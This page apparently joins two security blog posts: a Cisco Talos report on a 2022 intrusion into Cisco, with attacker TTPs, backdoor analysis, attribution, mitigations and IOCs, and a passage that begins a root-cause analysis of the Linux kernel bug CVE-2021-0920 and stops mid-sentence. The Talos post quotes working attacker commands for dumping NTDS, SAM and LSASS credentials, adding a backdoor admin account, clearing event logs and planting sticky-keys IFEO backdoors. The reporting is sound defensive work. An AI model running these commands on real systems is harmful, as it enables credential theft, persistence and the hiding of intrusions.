Before yesterdayVulnerabily Research

# Cisco Talos shares insights related to recent cyber attack on Cisco

10 August 2022 at 19:30

## Update History

Aug. 10th 2022 Adding clarifying details on activity involving active directory.
Aug. 10th 2022 Update made to the Cisco Response and Recommendations section related to MFA.

## Executive summary

• On May 24, 2022, Cisco became aware of a potential compromise. Since that point, Cisco Security Incident Response (CSIRT) and Cisco Talos have been working to remediate.
• During the investigation, it was determined that a Cisco employee’s credentials were compromised after an attacker gained control of a personal Google account where credentials saved in the victim’s browser were being synchronized.
• The attacker conducted a series of sophisticated voice phishing attacks under the guise of various trusted organizations attempting to convince the victim to accept multi-factor authentication (MFA) push notifications initiated by the attacker. The attacker ultimately succeeded in achieving an MFA push acceptance, granting them access to VPN in the context of the targeted user.
• CSIRT and Talos are responding to the event and we have not identified any evidence suggesting that the attacker gained access to critical internal systems, such as those related to product development, code signing, etc.
• After obtaining initial access, the threat actor conducted a variety of activities to maintain access, minimize forensic artifacts, and increase their level of access to systems within the environment.
• The threat actor was successfully removed from the environment and displayed persistence, repeatedly attempting to regain access in the weeks following the attack; however, these attempts were unsuccessful.
• We assess with moderate to high confidence that this attack was conducted by an adversary that has been previously identified as an initial access broker (IAB) with ties to the UNC2447 cybercrime gang, Lapsus$threat actor group, and Yanluowang ransomware operators. • For further information see the Cisco Response page here. ## Initial vector Initial access to the Cisco VPN was achieved via the successful compromise of a Cisco employee’s personal Google account. The user had enabled password syncing via Google Chrome and had stored their Cisco credentials in their browser, enabling that information to synchronize to their Google account. After obtaining the user’s credentials, the attacker attempted to bypass multifactor authentication (MFA) using a variety of techniques, including voice phishing (aka "vishing") and MFA fatigue, the process of sending a high volume of push requests to the target’s mobile device until the user accepts, either accidentally or simply to attempt to silence the repeated push notifications they are receiving. Vishing is an increasingly common social engineering technique whereby attackers try to trick employees into divulging sensitive information over the phone. In this instance, an employee reported that they received multiple calls over several days in which the callers – who spoke in English with various international accents and dialects – purported to be associated with support organizations trusted by the user. Once the attacker had obtained initial access, they enrolled a series of new devices for MFA and authenticated successfully to the Cisco VPN. The attacker then escalated to administrative privileges, allowing them to login to multiple systems, which alerted our Cisco Security Incident Response Team (CSIRT), who subsequently responded to the incident. The actor in question dropped a variety of tools, including remote access tools like LogMeIn and TeamViewer, offensive security tools such as Cobalt Strike, PowerSploit, Mimikatz, and Impacket, and added their own backdoor accounts and persistence mechanisms. ## Post-compromise TTPs Following initial access to the environment, the threat actor conducted a variety of activities for the purposes of maintaining access, minimizing forensic artifacts, and increasing their level of access to systems within the environment. Once on a system, the threat actor began to enumerate the environment, using common built-in Windows utilities to identify the user and group membership configuration of the system, hostname, and identify the context of the user account under which they were operating. We periodically observed the attacker issuing commands containing typographical errors, indicating manual operator interaction was occurring within the environment. After establishing access to the VPN, the attacker then began to use the compromised user account to logon to a large number of systems before beginning to pivot further into the environment. They moved into the Citrix environment, compromising a series of Citrix servers and eventually obtained privileged access to domain controllers. After obtaining access to the domain controllers, the attacker began attempting to dump NTDS from them using “ntdsutil.exe” consistent with the following syntax: powershell ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\users\public' q q  They then worked to exfiltrate the dumped NTDS over SMB (TCP/445) from the domain controller to the VPN system under their control. After obtaining access to credential databases, the attacker was observed leveraging machine accounts for privileged authentication and lateral movement across the environment. Consistent with activity we previously observed in other separate but similar attacks, the adversary created an administrative user called “z” on the system using the built-in Windows “net.exe” commands. This account was then added to the local Administrators group. We also observed instances where the threat actor changed the password of existing local user accounts to the same value shown below. Notably, we have observed the creation of the “z” account by this actor in previous engagements prior to the Russian invasion of Ukraine. C:\Windows\system32\net user z Lh199211* /add  C:\Windows\system32\net localgroup administrators z /add This account was then used in some cases to execute additional utilities, such as adfind or secretsdump, to attempt to enumerate the directory services environment and obtain additional credentials. Additionally, the threat actor was observed attempting to extract registry information, including the SAM database on compromised windows hosts. reg save hklm\system system  reg save hklm\sam sam  reg save HKLM\security sec On some systems, the attacker was observed employing MiniDump from Mimikatz to dump LSASS. tasklist | findstr lsass  rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [LSASS_PID] C:\windows\temp\lsass.dmp full The attacker also took steps to remove evidence of activities performed on compromised systems by deleting the previously created local Administrator account. They also used the “wevtutil.exe” utility to identify and clear event logs generated on the system. wevtutil.exe el  wevtutil.exe cl [LOGNAME] In many cases, we observed the attacker removing the previously created local administrator account. net user z /delete To move files between systems within the environment, the threat actor often leveraged Remote Desktop Protocol (RDP) and Citrix. We observed them modifying the host-based firewall configurations to enable RDP access to systems. netsh advfirewall firewall set rule group=remote desktop new enable=Yes We also observed the installation of additional remote access tools, such as TeamViewer and LogMeIn. C:\Windows\System32\msiexec.exe /i C:\Users\[USERNAME]\Pictures\LogMeIn.msi The attacker frequently leveraged Windows logon bypass techniques to maintain the ability to access systems in the environment with elevated privileges. They frequently relied upon PSEXESVC.exe to remotely add the following Registry key values: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f This enabled the attacker to leverage the accessibility features present on the Windows logon screen to spawn a SYSTEM level command prompt, granting them complete control of the systems. In several cases, we observed the attacker adding these keys but not further interacting with the system, possibly as a persistence mechanism to be used later as their primary privileged access is revoked. Throughout the attack, we observed attempts to exfiltrate information from the environment. We confirmed that the only successful data exfiltration that occurred during the attack included the contents of a Box folder that was associated with a compromised employee’s account and employee authentication data from active directory. The Box data obtained by the adversary in this case was not sensitive. In the weeks following the eviction of the attacker from the environment, we observed continuous attempts to re-establish access. In most cases, the attacker was observed targeting weak password rotation hygiene following mandated employee password resets. They primarily targeted users who they believed would have made single character changes to their previous passwords, attempting to leverage these credentials to authenticate and regain access to the Cisco VPN. The attacker was initially leveraging traffic anonymization services like Tor; however, after experiencing limited success, they switched to attempting to establish new VPN sessions from residential IP space using accounts previously compromised during the initial stages of the attack. We also observed the registration of several additional domains referencing the organization while responding to the attack and took action on them before they could be used for malicious purposes. After being successfully removed from the environment, the adversary also repeatedly attempted to establish email communications with executive members of the organization but did not make any specific threats or extortion demands. In one email, they included a screenshot showing the directory listing of the Box data that was previously exfiltrated as described earlier. Below is a screenshot of one of the received emails. The adversary redacted the directory listing screenshot prior to sending the email. ## Backdoor analysis The actor dropped a series of payloads onto systems, which we continue to analyze. The first payload is a simple backdoor that takes commands from a command and control (C2) server and executes them on the end system via the Windows Command Processor. The commands are sent in JSON blobs and are standard for a backdoor. There is a “DELETE_SELF” command that removes the backdoor from the system completely. Another, more interesting, command, “WIPE”, instructs the backdoor to remove the last executed command from memory, likely with the intent of negatively impacting forensic analysis on any impacted hosts. Commands are retrieved by making HTTP GET requests to the C2 server using the following structure: /bot/cmd.php?botid=%.8x The malware also communicates with the C2 server via HTTP GET requests that feature the following structure: /bot/gate.php?botid=%.8x Following the initial request from the infected system, the C2 server responds with a SHA256 hash. We observed additional requests made every 10 seconds. The aforementioned HTTP requests are sent using the following user-agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 Trailer/95.3.1132.33 The malware also creates a file called “bdata.ini” in the malware’s current working directory that contains a value derived from the volume serial number present on the infected system. In instances where this backdoor was executed, the malware was observed running from the following directory location: C:\users\public\win\cmd.exe The attacker was frequently observed staging tooling in directory locations under the Public user profile on systems from which they were operating. Based upon analysis of C2 infrastructure associated with this backdoor, we assess that the C2 server was set up specifically for this attack. ## Attack attribution Based upon artifacts obtained, tactics, techniques, and procedures (TTPs) identified, infrastructure used, and a thorough analysis of the backdoor utilized in this attack, we assess with moderate to high confidence that this attack was conducted by an adversary that has been previously identified as an initial access broker (IAB) with ties to both UNC2447 and Lapsus$. IABs typically attempt to obtain privileged access to corporate network environments and then monetize that access by selling it to other threat actors who can then leverage it for a variety of purposes. We have also observed previous activity linking this threat actor to the Yanluowang ransomware gang, including the use of the Yanluowang data leak site for posting data stolen from compromised organizations.

UNC2447 is a financially-motivated threat actor with a nexus to Russia that has been previously observed conducting ransomware attacks and leveraging a technique known as “double extortion,” in which data is exfiltrated prior to ransomware deployment in an attempt to coerce victims into paying ransom demands. Prior reporting indicates that UNC2447 has been observed operating  a variety of ransomware, including FIVEHANDS, HELLOKITTY, and more.

Apart from UNC2447, some of the TTPs discovered during the course of our investigation match those of the Lapsus$. Lapsus$ is a threat actor group that is reported to have been responsible for several previous notable breaches of corporate environments. Several arrests of Lapsus$members were reported earlier this year. Lapsus$ has been observed compromising corporate environments and attempting to exfiltrate sensitive information.

While we did not observe ransomware deployment in this attack, the TTPs used were consistent with “pre-ransomware activity,” activity commonly observed leading up to the deployment of ransomware in victim environments. Many of the TTPs observed are consistent with activity observed by CTIR during previous engagements. Our analysis also suggests reuse of server-side infrastructure associated with these previous engagements as well. In previous engagements, we also did not observe deployment of ransomware in the victim environments.

## Cisco response and recommendations

Cisco implemented a company-wide password reset immediately upon learning of the incident. CTIR previously observed similar TTPs in numerous investigations since 2021. Our findings and subsequent security protections resulting from those customer engagements helped us slow and contain the attacker’s progression. We created two ClamAV signatures, which are listed below.

• Win.Exploit.Kolobko-9950675-0
• Win.Backdoor.Kolobko-9950676-0

Threat actors commonly use social engineering techniques to compromise targets, and despite the frequency of such attacks, organizations continue to face challenges mitigating those threats. User education is paramount in thwarting such attacks, including making sure employees know the legitimate ways that support personnel will contact users so that employees can identify fraudulent attempts to obtain sensitive information.

Given the actor’s demonstrated proficiency in using a wide array of techniques to obtain initial access, user education is also a key part of countering MFA bypass techniques. Equally important to implementing MFA is ensuring that employees are educated on what to do and how to respond if they get errant push requests on their respective phones. It is also essential to educate employees about who to contact if such incidents do arise to help determine if the event was a technical issue or malicious.

For Duo it is beneficial to implement strong device verification by enforcing stricter controls around device status to limit or block enrollment and access from unmanaged or unknown devices. Additionally, leveraging risk detection to highlight events like a brand-new device being used from unrealistic location or attack patterns like logins brute force can help detect unauthorized access.

Prior to allowing VPN connections from remote endpoints, ensure that posture checking is configured to enforce a baseline set of security controls. This ensures that the connecting devices match  the security requirements present in the environment. This can also prevent rogue devices that have not been previously approved from connecting to the corporate network environment.

Network segmentation is another important security control that organizations should employ, as it provides enhanced protection for high-value assets and also enables more effective detection and response capabilities in situations where an adversary is able to gain initial access into the environment.

Centralized log collection can help minimize the lack of visibility that results when an attacker take active steps to remove logs from systems. Ensuring that the log data generated by endpoints is centrally collected and analyzed for anomalous or overtly malicious behavior can provide early indication when an attack is underway.

In many cases, threat actors have been observed targeting the backup infrastructure in an attempt to further remove an organization’s ability to recover following an attack. Ensuring that backups are offline and periodically tested can help mitigate this risk and ensure an organization’s ability to effectively recover following an attack.

Auditing of command line execution on endpoints can also provide increased visibility into actions being performed on systems in the environment and can be used to detect suspicious execution of built-in Windows utilities, which is commonly observed during intrusions where threat actors rely on benign applications or utilities already present in the environment for enumeration, privilege escalation, and lateral movement activities.

## Mitre ATT&CK mapping

All of the previously described TTPs that were observed in this attack are listed below based on the phase of the attack in which they occurred.

## Indicators of compromise

The following indicators of compromise were observed associated with this attack.

### Hashes (SHA256)

184a2570d71eedc3c77b63fd9d2a066cd025d20ceef0f75d428c6f7e5c6965f3
2fc5bf9edcfa19d48e235315e8f571638c99a1220be867e24f3965328fe94a03
542c9da985633d027317e9a226ee70b4f0742dcbc59dfd2d4e59977bb870058d
61176a5756c7b953bc31e5a53580d640629980a344aa5ff147a20fb7d770b610
753952aed395ea845c52e3037f19738cfc9a415070515de277e1a1baeff20647
8e5733484982d0833abbd9c73a05a667ec2d9d005bbf517b1c8cd4b1daf57190
99be6e7e31f0a1d7eebd1e45ac3b9398384c1f0fa594565137abb14dc28c8a7f
bb62138d173de997b36e9b07c20b2ca13ea15e9e6cd75ea0e8162e0d3ded83b7
eb3452c64970f805f1448b78cd3c05d851d758421896edd5dfbe68e08e783d18

104.131.30[.]201
108.191.224[.]47
131.150.216[.]118
134.209.88[.]140
138.68.227[.]71
139.177.192[.]145
139.60.160[.]20
139.60.161[.]99
143.198.110[.]248
143.198.131[.]210
159.65.246[.]188
161.35.137[.]163
162.33.177[.]27
162.33.178[.]244
162.33.179[.]17
165.227.219[.]211
165.227.23[.]218
165.232.154[.]73
166.205.190[.]23
167.99.160[.]91
172.56.42[.]39
172.58.220[.]52
172.58.239[.]34
174.205.239[.]164
176.59.109[.]115
178.128.171[.]206
185.220.100[.]244
185.220.101[.]10
185.220.101[.]13
185.220.101[.]15
185.220.101[.]16
185.220.101[.]2
185.220.101[.]20
185.220.101[.]34
185.220.101[.]45
185.220.101[.]6
185.220.101[.]65
185.220.101[.]73
185.220.101[.]79
185.220.102[.]242
185.220.102[.]250
192.241.133[.]130
194.165.16[.]98
195.149.87[.]136
24.6.144[.]43
45.145.67[.]170
45.227.255[.]215
45.32.141[.]138
45.32.228[.]189
45.32.228[.]190
45.55.36[.]143
45.61.136[.]207
45.61.136[.]5
45.61.136[.]83
46.161.27[.]117
5.165.200[.]7
52.154.0[.]241
64.227.0[.]177
64.4.238[.]56
65.188.102[.]43
66.42.97[.]210
67.171.114[.]251
68.183.200[.]63
68.46.232[.]60
73.153.192[.]98
74.119.194[.]203
74.119.194[.]4
76.22.236[.]142
82.116.32[.]77
87.251.67[.]41
94.142.241[.]194

### Domains

cisco-help[.]cf
cisco-helpdesk[.]cf
ciscovpn1[.]com
ciscovpn2[.]com
ciscovpn3[.]com
devcisco[.]com
devciscoprograms[.]com
helpzonecisco[.]com
kazaboldu[.]net
mycisco[.]cf
mycisco[.]gq
mycisco-helpdesk[.]ml
primecisco[.]com
pwresetcisco[.]com

costacancordia[@]protonmail[.]com

# The quantum state of Linux kernel garbage collection CVE-2021-0920 (Part I)

10 August 2022 at 23:00

A deep dive into an in-the-wild Android exploit

Guest Post by Xingyu Jin, Android Security Research

This is part one of a two-part guest blog post, where first we'll look at the root cause of the CVE-2021-0920 vulnerability. In the second post, we'll dive into the in-the-wild 0-day exploitation of the vulnerability and post-compromise modules.

# Overview of in-the-wild CVE-2021-0920 exploits

A surveillance vendor named Wintego has developed an exploit for Linux socket syscall 0-day, CVE-2021-0920, and used it in the wild since at least November 2020 based on the earliest captured sample, until the issue was fixed in November 2021.  Combined with Chrome and Samsung browser exploits, the vendor was able to remotely root Samsung devices. The fix was released with the November 2021 Android Security Bulletin, and applied to Samsung devices in Samsung's December 2021 security update.

Google's Threat Analysis Group (TAG) discovered Samsung browser exploit chains being used in the wild. TAG then performed root cause analysis and discovered that this vulnerability, CVE-2021-0920, was being used to escape the sandbox and elevate privileges. CVE-2021-0920 was reported to Linux/Android anonymously. The Google Android Security Team performed the full deep-dive analysis of the exploit.

This issue was initially discovered in 2016 by a RedHat kernel developer and disclosed in a public email thread, but the Linux kernel community did not patch the issue until it was re-reported in 2021.

Various Samsung devices were targeted, including the Samsung S10 and S20. By abusing an ephemeral race condition in Linux kernel garbage collection, the exploit code was able to obtain a use-after-free (UAF) in a kernel sk_buff object. The in-the-wild sample could effectively circumvent CONFIG_ARM64_UAO, achieve arbitrary read / write primitives and bypass Samsung RKP to elevate to root. Other Android devices were also vulnerable, but we did not find any exploit samples against them.

Text extracted from captured samples dubbed the vulnerability “quantum Linux kernel garbage collection”, which appears to be a fitting title for this blogpost.

# Introduction

CVE-2021-0920 is a use-after-free (UAF) due to a race condition in the garbage collection system for SCM_RIGHTS. SCM_RIGHTS is a control message that allows unix-domain sockets to transmit an open file descriptor from one process to another. In other words, the sender transmits a file descriptor and the receiver then obtains a file descriptor from the sender. This passing of file descriptors adds complexity to reference-counting file structs. To account for this, the Linux kernel community designed a special garbage collection system. CVE-2021-0920 is a vulnerability within this garbage collection system. By winning a race condition during the garbage collection process, an adversary can exploit the UAF on the socket buffer, sk_buff object. In the following sections, we’ll explain the SCM_RIGHTS garbage collection system and the details of the vulnerability. The analysis is based on the Linux 4.14 kernel.

## What is SCM_RIGHTS?

Linux developers can share file descriptors (fd) from one process to another using the SCM_RIGHTS datagram with the sendmsg syscall. When a process passes a file descriptor to another process, SCM_RIGHTS will add a reference to the underlying file struct. This means that the process that is sending the file descriptors can immediately close the file descriptor on their end, even if the receiving process has not yet accepted and taken ownership of the file descriptors. When the file descriptors are in the “queued” state (meaning the sender has passed the fd and then closed it, but the receiver has not yet accepted the fd and taken ownership), specialized garbage collection is needed. To track this “queued” state, this LWN article does a great job explaining SCM_RIGHTS reference counting, and it's recommended reading before continuing on with this blogpost.

## Sending

As stated previously, a unix domain socket uses the syscall sendmsg to send a file descriptor to another socket. To explain the reference counting that occurs during SCM_RIGHTS, we’ll start from the sender’s point of view. We start with the kernel function unix_stream_sendmsg, which implements the sendmsg syscall. To implement the SCM_RIGHTS functionality, the kernel uses the structure scm_fp_list for managing all the transmitted file structures. scm_fp_list stores the list of file pointers to be passed.

 struct scm_fp_list {         short                   count;         short                   max;         struct user_struct      *user;         struct file             *fp[SCM_MAX_FD]; };

unix_stream_sendmsg invokes scm_send (af_unix.c#L1886) to initialize the scm_fp_list structure, linked by the scm_cookie structure on the stack.

 struct scm_cookie {         struct pid              *pid;           /* Skb credentials */         struct scm_fp_list      *fp;            /* Passed files         */         struct scm_creds        creds;          /* Skb credentials      */ #ifdef CONFIG_SECURITY_NETWORK         u32                     secid;          /* Passed security ID   */ #endif };

To be more specific, scm_send → __scm_send → scm_fp_copy (scm.c#L68) reads the file descriptors from the userspace and initializes scm_cookie->fp which can contain SCM_MAX_FD file structures.

Since the Linux kernel uses the sk_buff (also known as socket buffers or skb) object to manage all types of socket datagrams, the kernel also needs to invoke the unix_scm_to_skb function to link the scm_cookie->fp to a corresponding skb object. This occurs in unix_attach_fds (scm.c#L103):

 … /*  * Need to duplicate file references for the sake of garbage  * collection.  Otherwise a socket in the fps might become a  * candidate for GC while the skb is not yet queued.  */ UNIXCB(skb).fp = scm_fp_dup(scm->fp); if (!UNIXCB(skb).fp)         return -ENOMEM; …

The scm_fp_dup call in unix_attach_fds increases the reference count of the file descriptor that’s being passed so the file is still valid even after the sender closes the transmitted file descriptor later:

 struct scm_fp_list *scm_fp_dup(struct scm_fp_list *fpl) {         struct scm_fp_list *new_fpl;         int i;         if (!fpl)                 return NULL;         new_fpl = kmemdup(fpl, offsetof(struct scm_fp_list, fp[fpl->count]),                           GFP_KERNEL);         if (new_fpl) {                 for (i = 0; i < fpl->count; i++)                         get_file(fpl->fp[i]);                 new_fpl->max = new_fpl->count;                 new_fpl->user = get_uid(fpl->user);         }         return new_fpl; }

Let’s examine a concrete example. Assume we have sockets A and B. The A attempts to pass itself to B. After the SCM_RIGHTS datagram is sent, the newly allocated skb from the sender will be appended to the B’s sk_receive_queue which stores received datagrams:

sk_buff carries scm_fp_list structure

The reference count of A is incremented to 2 and the reference count of B is still 1.

## Receiving

Now, let’s take a look at the receiver side unix_stream_read_generic (we will not discuss the MSG_PEEK flag yet, and focus on the normal routine). First of all, the kernel grabs the current skb from sk_receive_queue using skb_peek. Secondly, since scm_fp_list is attached to the skb, the kernel will call unix_detach_fds (link) to parse the transmitted file structures from skb and clear the skb from sk_receive_queue:

 /* Mark read part of skb as used */ if (!(flags & MSG_PEEK)) {         UNIXCB(skb).consumed += chunk;         sk_peek_offset_bwd(sk, chunk);         if (UNIXCB(skb).fp)                 unix_detach_fds(&scm, skb);         if (unix_skb_len(skb))                 break;         skb_unlink(skb, &sk->sk_receive_queue);         consume_skb(skb);         if (scm.fp)                 break;

The function scm_detach_fds iterates over the list of passed file descriptors (scm->fp) and installs the new file descriptors accordingly for the receiver:

 for (i=0, cmfptr=(__force int __user *)CMSG_DATA(cm); imsg_flags                                   ? O_CLOEXEC : 0);         if (err < 0)                 break;         new_fd = err;         err = put_user(new_fd, cmfptr);         if (err) {                 put_unused_fd(new_fd);                 break;         }         /* Bump the usage count and install the file. */         sock = sock_from_file(fp[i], &err);         if (sock) {                 sock_update_netprioidx(&sock->sk->sk_cgrp_data);                 sock_update_classid(&sock->sk->sk_cgrp_data);         }         fd_install(new_fd, get_file(fp[i])); } … /*  * All of the files that fit in the message have had their  * usage counts incremented, so we just free the list.  */ __scm_destroy(scm);

Once the file descriptors have been installed, __scm_destroy (link) cleans up the allocated scm->fp and decrements the file reference count for every transmitted file structure:

 void __scm_destroy(struct scm_cookie *scm) {         struct scm_fp_list *fpl = scm->fp;         int i;         if (fpl) {                 scm->fp = NULL;                 for (i=fpl->count-1; i>=0; i--)                         fput(fpl->fp[i]);                 free_uid(fpl->user);                 kfree(fpl);         } }

## Reference Counting and Inflight Counting

As mentioned above, when a file descriptor is passed using SCM_RIGHTS, its reference count is immediately incremented. Once the recipient socket has accepted and installed the passed file descriptor, the reference count is then decremented. The complication comes from the “middle” of this operation: after the file descriptor has been sent, but before the receiver has accepted and installed the file descriptor.

Let’s consider the following scenario:

1. The process creates sockets A and B.
2. A sends socket A to socket B.
3. B sends socket B to socket A.
4. Close A.
5. Close B.

Scenario for reference count cycle

Both sockets are closed prior to accepting the passed file descriptors.The reference counts of A and B are both 1 and can't be further decremented because they were removed from the kernel fd table when the respective processes closed them. Therefore the kernel is unable to release the two skbs and sock structures and an unbreakable cycle is formed. The Linux kernel garbage collection system is designed to prevent memory exhaustion in this particular scenario. The inflight count was implemented to identify potential garbage. Each time the reference count is increased due to an SCM_RIGHTS datagram being sent, the inflight count will also be incremented.

When a file descriptor is sent by SCM_RIGHTS datagram, the Linux kernel puts its unix_sock into a global list gc_inflight_list. The kernel increments unix_tot_inflight which counts the total number of inflight sockets. Then, the kernel increments u->inflight which tracks the inflight count for each individual file descriptor in the unix_inflight function (scm.c#L45) invoked from unix_attach_fds:

 void unix_inflight(struct user_struct *user, struct file *fp) {         struct sock *s = unix_get_socket(fp);         spin_lock(&unix_gc_lock);         if (s) {                 struct unix_sock *u = unix_sk(s);                 if (atomic_long_inc_return(&u->inflight) == 1) {                         BUG_ON(!list_empty(&u->link));                         list_add_tail(&u->link, &gc_inflight_list);                 } else {                         BUG_ON(list_empty(&u->link));                 }                 unix_tot_inflight++;         }         user->unix_inflight++;         spin_unlock(&unix_gc_lock); }

Thus, here is what the sk_buff looks like when transferring a file descriptor within sockets A and B:

The inflight count of A is incremented

When the socket file descriptor is received from the other side, the unix_sock.inflight count will be decremented.

Let’s revisit the reference count cycle scenario before the close syscall. This cycle is breakable because any socket files can receive the transmitted file and break the reference cycle:

Breakable cycle before close A and B

After closing both of the file descriptors, the reference count equals the inflight count for each of the socket file descriptors, which is a sign of possible garbage:

Unbreakable cycle after close A and B

Now, let’s check another example. Assume we have sockets A, B and 𝛼:

1. A sends socket A to socket B.
2. B sends socket B to socket A.
3. B sends socket B to socket 𝛼.
4. 𝛼 sends socket 𝛼 to socket B.
5. Close A.
6. Close B.

Breakable cycle for A, B and 𝛼

The cycle is breakable, because we can get newly installed file descriptor B from the socket file descriptor 𝛼 and newly installed file descriptor A' from B’.

## Garbage Collection

A high level view of garbage collection is available from lwn.net:

"If, instead, the two counts are equal, that file structure might be part of an unreachable cycle. To determine whether that is the case, the kernel finds the set of all in-flight Unix-domain sockets for which all references are contained in SCM_RIGHTS datagrams (for which f_count and inflight are equal, in other words). It then counts how many references to each of those sockets come from SCM_RIGHTS datagrams attached to sockets in this set. Any socket that has references coming from outside the set is reachable and can be removed from the set. If it is reachable, and if there are any SCM_RIGHTS datagrams waiting to be consumed attached to it, the files contained within that datagram are also reachable and can be removed from the set.

At the end of an iterative process, the kernel may find itself with a set of in-flight Unix-domain sockets that are only referenced by unconsumed (and unconsumable) SCM_RIGHTS datagrams; at this point, it has a cycle of file structures holding the only references to each other. Removing those datagrams from the queue, releasing the references they hold, and discarding them will break the cycle."

To be more specific, the SCM_RIGHTS garbage collection system was developed in order to handle the unbreakable reference cycles. To identify which file descriptors are a part of unbreakable cycles:

1. Add any unix_sock objects whose reference count equals its inflight count to the gc_candidates list.
2. Determine if the socket is referenced by any sockets outside of the gc_candidates list. If it is then it is reachable, remove it and any sockets it references from the gc_candidates list. Repeat until no more reachable sockets are found.
3. After this iterative process, only sockets who are solely referenced by other sockets within the gc_candidates list are left.

Let’s take a closer look at how this garbage collection process works. First, the kernel finds all the unix_sock objects whose reference counts equals their inflight count and puts them into the gc_candidates list (garbage.c#L242):

 list_for_each_entry_safe(u, next, &gc_inflight_list, link) {         long total_refs;         long inflight_refs;         total_refs = file_count(u->sk.sk_socket->file);         inflight_refs = atomic_long_read(&u->inflight);         BUG_ON(inflight_refs < 1);         BUG_ON(total_refs < inflight_refs);         if (total_refs == inflight_refs) {                 list_move_tail(&u->link, &gc_candidates);                 __set_bit(UNIX_GC_CANDIDATE, &u->gc_flags);                 __set_bit(UNIX_GC_MAYBE_CYCLE, &u->gc_flags);         } }

Next, the kernel removes any sockets that are referenced by other sockets outside of the current gc_candidates list. To do this, the kernel invokes scan_children (garbage.c#138) along with the function pointer dec_inflight to iterate through each candidate’s sk->receive_queue. It decreases the inflight count for each of the passed file descriptors that are themselves candidates for garbage collection (garbage.c#L261):

 /* Now remove all internal in-flight reference to children of  * the candidates.  */ list_for_each_entry(u, &gc_candidates, link)         scan_children(&u->sk, dec_inflight, NULL);

After iterating through all the candidates, if a gc candidate still has a positive inflight count it means that it is referenced by objects outside of the gc_candidates list and therefore is reachable. These candidates should not be included in the gc_candidates list so the related inflight counts need to be restored.

To do this, the kernel will put the candidate to not_cycle_list instead and iterates through its receiver queue of each transmitted file in the gc_candidates list (garbage.c#L281) and increments the inflight count back. The entire process is done recursively, in order for the garbage collection to avoid purging reachable sockets:

 /* Restore the references for children of all candidates,  * which have remaining references.  Do this recursively, so  * only those remain, which form cyclic references.  *  * Use a "cursor" link, to make the list traversal safe, even  * though elements might be moved about.  */ list_add(&cursor, &gc_candidates); while (cursor.next != &gc_candidates) {         u = list_entry(cursor.next, struct unix_sock, link);         /* Move cursor to after the current position. */         list_move(&cursor, &u->link);         if (atomic_long_read(&u->inflight) > 0) {                 list_move_tail(&u->link, ¬_cycle_list);                 __clear_bit(UNIX_GC_MAYBE_CYCLE, &u->gc_flags);                 scan_children(&u->sk, inc_inflight_move_tail, NULL);         } } list_del(&cursor);

Now gc_candidates contains only “garbage”. The kernel restores original inflight counts from gc_candidates, moves candidates from not_cycle_list back to gc_inflight_list and invokes __skb_queue_purge for cleaning up garbage (garbage.c#L306).

 /* Now gc_candidates contains only garbage.  Restore original  * inflight counters for these as well, and remove the skbuffs  * which are creating the cycle(s).  */ skb_queue_head_init(&hitlist); list_for_each_entry(u, &gc_candidates, link)         scan_children(&u->sk, inc_inflight, &hitlist); /* not_cycle_list contains those sockets which do not make up a  * cycle.  Restore these to the inflight list.  */ while (!list_empty(¬_cycle_list)) {         u = list_entry(not_cycle_list.next, struct unix_sock, link);         __clear_bit(UNIX_GC_CANDIDATE, &u->gc_flags);         list_move_tail(&u->link, &gc_inflight_list); } spin_unlock(&unix_gc_lock); /* Here we are. Hitlist is filled. Die. */ __skb_queue_purge(&hitlist); spin_lock(&unix_gc_lock);

__skb_queue_purge clears every skb from the receiver queue:

 /**  *      __skb_queue_purge - empty a list  *      @list: list to empty  *  *      Delete all buffers on an &sk_buff list. Each buffer is removed from  *      the list and one reference dropped. This function does not take the  *      list lock and the caller must hold the relevant locks to use it.  */ void skb_queue_purge(struct sk_buff_head *list); static inline void __skb_queue_purge(struct sk_buff_head *list) {         struct sk_buff *skb;         while ((skb = __skb_dequeue(list)) != NULL)                 kfree_skb(skb); }

There are two ways to trigger the garbage collection process:

1. wait_for_unix_gc is invoked at the beginning of the sendmsg function if there are more than 16,000 inflight sockets
2. When a socket file is released by the kernel (i.e., a file descriptor is closed), the kernel will directly invoke unix_gc.

Note that unix_gc is not preemptive. If garbage collection is already in process, the kernel will not perform another unix_gc invocation.

Now, let’s check this example (a breakable cycle) with a pair of sockets f00 and f01, and a single socket 𝛼:

1. Socket f 00 sends socket f 00 to socket f 01.
2. Socket f 01 sends socket f 01 to socket 𝛼.
3. Close f 00.
4. Close f 01.

Before starting the garbage collection process, the status of socket file descriptors are:

• f 00: ref = 1, inflight = 1
• f 01: ref = 1, inflight = 1
• 𝛼: ref = 1, inflight = 0

Breakable cycle by f 00, f 01 and 𝛼

During the garbage collection process, f 00 and f 01 are considered garbage candidates. The inflight count of f 00 is dropped to zero, but the count of f 01 is still 1 because 𝛼 is not a candidate. Thus, the kernel will restore the inflight count from f 01’s receive queue. As a result, f 00 and f 01 are not treated as garbage anymore.

# CVE-2021-0920 Root Cause Analysis

When a user receives SCM_RIGHTS message from recvmsg without the MSG_PEEK flag, the kernel will wait until the garbage collection process finishes if it is in progress. However, if the MSG_PEEK flag is on, the kernel will increment the reference count of the transmitted file structures without synchronizing with any ongoing garbage collection process. This may lead to inconsistency of the internal garbage collection state, making the garbage collector mark a non-garbage sock object as garbage to purge.

## recvmsg without MSG_PEEK flag

The kernel function unix_stream_read_generic (af_unix.c#L2290) parses the SCM_RIGHTS message and manages the file inflight count when the MSG_PEEK flag is NOT set. Then, the function unix_stream_read_generic calls unix_detach_fds to decrement the inflight count. Then, unix_detach_fds clears the list of passed file descriptors (scm_fp_list) from the skb:

 static void unix_detach_fds(struct scm_cookie *scm, struct sk_buff *skb) {         int i;         scm->fp = UNIXCB(skb).fp;         UNIXCB(skb).fp = NULL;         for (i = scm->fp->count-1; i >= 0; i--)                 unix_notinflight(scm->fp->user, scm->fp->fp[i]); }

The unix_notinflight from unix_detach_fds will reverse the effect of unix_inflight by decrementing the inflight count:

